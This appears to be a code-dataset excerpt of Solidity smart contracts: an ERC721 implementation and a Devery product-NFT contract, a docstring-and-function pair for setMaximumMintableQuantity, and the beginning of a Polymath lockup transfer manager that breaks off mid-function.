* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DeveryRegistry{
struct App {
address appAccount;
string appName;
address feeAccount;
uint fee;
bool active;
}
struct Brand {
address brandAccount;
address appAccount;
string brandName;
bool active;
}
struct Product {
address productAccount;
address brandAccount;
string description;
string details;
uint year;
string origin;
bool active;
}
address public feeAccount;
uint public fee;
mapping(address => App) public apps;
mapping(address => Brand) public brands;
mapping(address => Product) public products;
}
contract DeveryERC721MetadataToken is ERC721,Admined {
constructor() ERC721("Devery Protocol", "EVENFT") public {
}
address[] public tokenIdToProduct;
mapping(address => uint) public totalAllowedProducts;
mapping(address => uint) public totalMintedProducts;
DeveryRegistry deveryRegistry;
IERC20 public token;
event TokenUpdated(address indexed oldToken, address indexed newToken);
function setToken(address _token) public onlyAdmin {
TokenUpdated(address(token), _token);
token = IERC20(_token);
}
/**
* @dev modifier to enforce that only the brand that created a given product can change it
* this modifier will check the core devery registry to fetch the brand address.
*/
modifier brandOwnerOnly(address _productAddress){
address productBrandAddress;
(,productBrandAddress,,,,,) = deveryRegistry.products(_productAddress);
require(productBrandAddress == msg.sender);
_;
}
/**
* @dev Allow contract admins to set the address of Core Devery Registry contract
*/
function setDeveryRegistryAddress(address _deveryRegistryAddress) external onlyAdmin {
deveryRegistry = DeveryRegistry(_deveryRegistryAddress);
}
/**
* @dev adjusts the maximum mintable amount of a certain product
*/
function setMaximumMintableQuantity(address _productAddress, uint _quantity) public brandOwnerOnly(_productAddress) {
require(_quantity >= totalMintedProducts[_productAddress] || _quantity == 0);
totalAllowedProducts[_productAddress] = _quantity;
}
/**
* @dev mint a new ERC721 token for a given product and assing it to the original product brand;
*/
function claimProduct(address _productAddress,uint _quantity) public brandOwnerOnly(_productAddress) {
require(totalAllowedProducts[_productAddress] == 0 || totalAllowedProducts[_productAddress] >= totalMintedProducts[_productAddress] + _quantity);
//********************************************************************charges the fee****************************************
address productBrandAddress;
address appAccountAddress;
address appFeeAccount;
address deveryFeeAccount;
uint appFee;
uint deveryFee;
(,productBrandAddress,,,,,) = deveryRegistry.products(_productAddress);
(,appAccountAddress,,) = deveryRegistry.brands(productBrandAddress);
(,,appFeeAccount,appFee,) = deveryRegistry.apps(appAccountAddress);
deveryFee = deveryRegistry.fee();
deveryFeeAccount = deveryRegistry.feeAccount();
if (appFee > 0) {
token.transferFrom(productBrandAddress, appFeeAccount, appFee*_quantity);
}
if (deveryFee > 0) {
token.transferFrom(productBrandAddress, deveryFeeAccount, deveryFee*_quantity);
}
//********************************************************************charges the fee****************************************
for(uint i = 0;i<_quantity;i++){
uint nextId = tokenIdToProduct.length;
tokenIdToProduct.push(_productAddress);
_mint(msg.sender,nextId);
}
totalMintedProducts[_productAddress]+=_quantity;
}
/**
* @dev returns the products owned by a given ethereum address
*/
function getProductsByOwner(address _owner) external view returns (address[] memory){
address[] memory products = new address[](balanceOf(_owner));
uint counter = 0;
for(uint i = 0; i < tokenIdToProduct.length;i++){
if(ownerOf(i) == _owner){
products[counter] = tokenIdToProduct[i];
counter++;
}
}
return products;
}
function setTokenUri(uint tokenId,string memory tokenUri) public {
//"only the token owner is allowed to do this"
require(ownerOf(tokenId) == msg.sender);
_setTokenURI(tokenId, tokenUri);
}
}
|
adjusts the maximum mintable amount of a certain product/
|
function setMaximumMintableQuantity(address _productAddress, uint _quantity) public brandOwnerOnly(_productAddress) {
require(_quantity >= totalMintedProducts[_productAddress] || _quantity == 0);
totalAllowedProducts[_productAddress] = _quantity;
}
| 12,224,679
|
pragma solidity ^0.4.24;
import "../../TransferManager/ITransferManager.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
contract LockUpTransferManager is ITransferManager {
using SafeMath for uint256;
// permission definition
bytes32 public constant ADMIN = "ADMIN";
// a per-user lockup
struct LockUp {
uint256 lockupAmount; // Amount to be locked
uint256 startTime; // when this lockup starts (seconds)
uint256 lockUpPeriodSeconds; // total period of lockup (seconds)
uint256 releaseFrequencySeconds; // how often to release a tranche of tokens (seconds)
}
// mapping use to store the lockup details corresponds to lockup name
mapping (bytes32 => LockUp) public lockups;
// mapping user addresses to an array of lockups name for that user
mapping (address => bytes32[]) internal userToLockups;
// get list of the addresses for a particular lockupName
mapping (bytes32 => address[]) internal lockupToUsers;
// holds lockup index corresponds to user address. userAddress => lockupName => lockupIndex
mapping (address => mapping(bytes32 => uint256)) internal userToLockupIndex;
// holds the user address index corresponds to the lockup. lockupName => userAddress => userIndex
mapping (bytes32 => mapping(address => uint256)) internal lockupToUserIndex;
bytes32[] lockupArray;
event AddLockUpToUser(
address indexed _userAddress,
bytes32 indexed _lockupName
);
event RemoveLockUpFromUser(
address indexed _userAddress,
bytes32 indexed _lockupName
);
event ModifyLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 indexed _lockupName
);
event AddNewLockUpType(
bytes32 indexed _lockupName,
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds
);
event RemoveLockUpType(bytes32 indexed _lockupName);
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress)
public
Module(_securityToken, _polyAddress)
{
}
/** @notice Used to verify the transfer transaction and prevent locked up tokens from being transferred
* @param _from Address of the sender
* @param _amount The amount of tokens to transfer
*/
function verifyTransfer(address _from, address /* _to*/, uint256 _amount, bytes /* _data */, bool /*_isTransfer*/) public returns(Result) {
// only attempt to verify the transfer if the token is unpaused, this isn't a mint txn, and there exists a lockup for this user
if (!paused && _from != address(0) && userToLockups[_from].length != 0) {
// check if this transfer is valid
return _checkIfValidTransfer(_from, _amount);
}
return Result.NA;
}
/**
* @notice Use to add the new lockup type
* @param _lockupAmount Amount of tokens that need to lock.
* @param _startTime When this lockup starts (seconds)
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
* @param _lockupName Name of the lockup
*/
function addNewLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
public
withPerm(ADMIN)
{
_addNewLockUpType(
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
/**
* @notice Use to add the new lockup type
* @param _lockupAmounts Array of amount of tokens that need to lock.
* @param _startTimes Array of startTimes when this lockup starts (seconds)
* @param _lockUpPeriodsSeconds Array of total period of lockup (seconds)
* @param _releaseFrequenciesSeconds Array of how often to release a tranche of tokens (seconds)
* @param _lockupNames Array of names of the lockup
*/
function addNewLockUpTypeMulti(
uint256[] _lockupAmounts,
uint256[] _startTimes,
uint256[] _lockUpPeriodsSeconds,
uint256[] _releaseFrequenciesSeconds,
bytes32[] _lockupNames
)
external
withPerm(ADMIN)
{
require(
_lockupNames.length == _lockUpPeriodsSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _releaseFrequenciesSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _startTimes.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _lockupAmounts.length,
"Input array length mismatch"
);
for (uint256 i = 0; i < _lockupNames.length; i++) {
_addNewLockUpType(
_lockupAmounts[i],
_startTimes[i],
_lockUpPeriodsSeconds[i],
_releaseFrequenciesSeconds[i],
_lockupNames[i]
);
}
}
/**
* @notice Add the lockup to a user
* @param _userAddress Address of the user
* @param _lockupName Name of the lockup
*/
function addLockUpByName(
address _userAddress,
bytes32 _lockupName
)
public
withPerm(ADMIN)
{
_addLockUpByName(_userAddress, _lockupName);
}
/**
* @notice Add the lockup to a user
* @param _userAddresses Address of the user
* @param _lockupNames Name of the lockup
*/
function addLockUpByNameMulti(
address[] _userAddresses,
bytes32[] _lockupNames
)
external
withPerm(ADMIN)
{
require(_userAddresses.length == _lockupNames.length, "Length mismatch");
for (uint256 i = 0; i < _userAddresses.length; i++) {
_addLockUpByName(_userAddresses[i], _lockupNames[i]);
}
}
/**
* @notice Lets the admin create a volume restriction lockup for a given address.
* @param _userAddress Address of the user whose tokens should be locked up
* @param _lockupAmount Amount of tokens that need to lock.
* @param _startTime When this lockup starts (seconds)
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
* @param _lockupName Name of the lockup
*/
function addNewLockUpToUser(
address _userAddress,
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
external
withPerm(ADMIN)
{
_addNewLockUpToUser(
_userAddress,
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
/**
* @notice Lets the admin create multiple volume restriction lockups for multiple given addresses.
* @param _userAddresses Array of address of the user whose tokens should be locked up
* @param _lockupAmounts Array of the amounts that need to be locked for the different addresses.
* @param _startTimes Array of When this lockup starts (seconds)
* @param _lockUpPeriodsSeconds Array of total periods of lockup (seconds)
* @param _releaseFrequenciesSeconds Array of how often to release a tranche of tokens (seconds)
* @param _lockupNames Array of names of the lockup
*/
function addNewLockUpToUserMulti(
address[] _userAddresses,
uint256[] _lockupAmounts,
uint256[] _startTimes,
uint256[] _lockUpPeriodsSeconds,
uint256[] _releaseFrequenciesSeconds,
bytes32[] _lockupNames
)
public
withPerm(ADMIN)
{
require(
_userAddresses.length == _lockUpPeriodsSeconds.length && /*solium-disable-line operator-whitespace*/
_userAddresses.length == _releaseFrequenciesSeconds.length && /*solium-disable-line operator-whitespace*/
_userAddresses.length == _startTimes.length && /*solium-disable-line operator-whitespace*/
_userAddresses.length == _lockupAmounts.length &&
_userAddresses.length == _lockupNames.length,
"Input array length mismatch"
);
for (uint256 i = 0; i < _userAddresses.length; i++) {
_addNewLockUpToUser(_userAddresses[i], _lockupAmounts[i], _startTimes[i], _lockUpPeriodsSeconds[i], _releaseFrequenciesSeconds[i], _lockupNames[i]);
}
}
/**
* @notice Lets the admin remove a user's lock up
* @param _userAddress Address of the user whose tokens are locked up
* @param _lockupName Name of the lockup need to be removed.
*/
function removeLockUpFromUser(address _userAddress, bytes32 _lockupName) external withPerm(ADMIN) {
_removeLockUpFromUser(_userAddress, _lockupName);
}
/**
* @notice Used to remove the lockup type
* @param _lockupName Name of the lockup
*/
function removeLockupType(bytes32 _lockupName) external withPerm(ADMIN) {
_removeLockupType(_lockupName);
}
/**
* @notice Used to remove the multiple lockup type
* @param _lockupNames Array of the lockup names.
*/
function removeLockupTypeMulti(bytes32[] _lockupNames) external withPerm(ADMIN) {
for (uint256 i = 0; i < _lockupNames.length; i++) {
_removeLockupType(_lockupNames[i]);
}
}
/**
* @notice Use to remove the lockup for multiple users
* @param _userAddresses Array of addresses of the user whose tokens are locked up
* @param _lockupNames Array of the names of the lockup that needs to be removed.
*/
function removeLockUpFromUserMulti(address[] _userAddresses, bytes32[] _lockupNames) external withPerm(ADMIN) {
require(_userAddresses.length == _lockupNames.length, "Array length mismatch");
for (uint256 i = 0; i < _userAddresses.length; i++) {
_removeLockUpFromUser(_userAddresses[i], _lockupNames[i]);
}
}
/**
* @notice Lets the admin modify a lockup.
* @param _lockupAmount Amount of tokens that needs to be locked
* @param _startTime When this lockup starts (seconds)
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
* @param _lockupName name of the lockup that needs to be modified.
*/
function modifyLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
external
withPerm(ADMIN)
{
_modifyLockUpType(
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
/**
* @notice Lets the admin modify a volume restriction lockup for a multiple address.
* @param _lockupAmounts Array of the amount of tokens that needs to be locked for the respective addresses.
* @param _startTimes Array of the start time of the lockups (seconds)
* @param _lockUpPeriodsSeconds Array of unix timestamp for the list of lockups (seconds).
* @param _releaseFrequenciesSeconds How often to release a tranche of tokens (seconds)
* @param _lockupNames Array of the lockup names that needs to be modified
*/
function modifyLockUpTypeMulti(
uint256[] _lockupAmounts,
uint256[] _startTimes,
uint256[] _lockUpPeriodsSeconds,
uint256[] _releaseFrequenciesSeconds,
bytes32[] _lockupNames
)
public
withPerm(ADMIN)
{
require(
_lockupNames.length == _lockUpPeriodsSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _releaseFrequenciesSeconds.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _startTimes.length && /*solium-disable-line operator-whitespace*/
_lockupNames.length == _lockupAmounts.length,
"Input array length mismatch"
);
for (uint256 i = 0; i < _lockupNames.length; i++) {
_modifyLockUpType(
_lockupAmounts[i],
_startTimes[i],
_lockUpPeriodsSeconds[i],
_releaseFrequenciesSeconds[i],
_lockupNames[i]
);
}
}
/**
* @notice Get a specific element in a user's lockups array given the user's address and the element index
* @param _lockupName The name of the lockup
*/
function getLockUp(bytes32 _lockupName) public view returns (
uint256 lockupAmount,
uint256 startTime,
uint256 lockUpPeriodSeconds,
uint256 releaseFrequencySeconds,
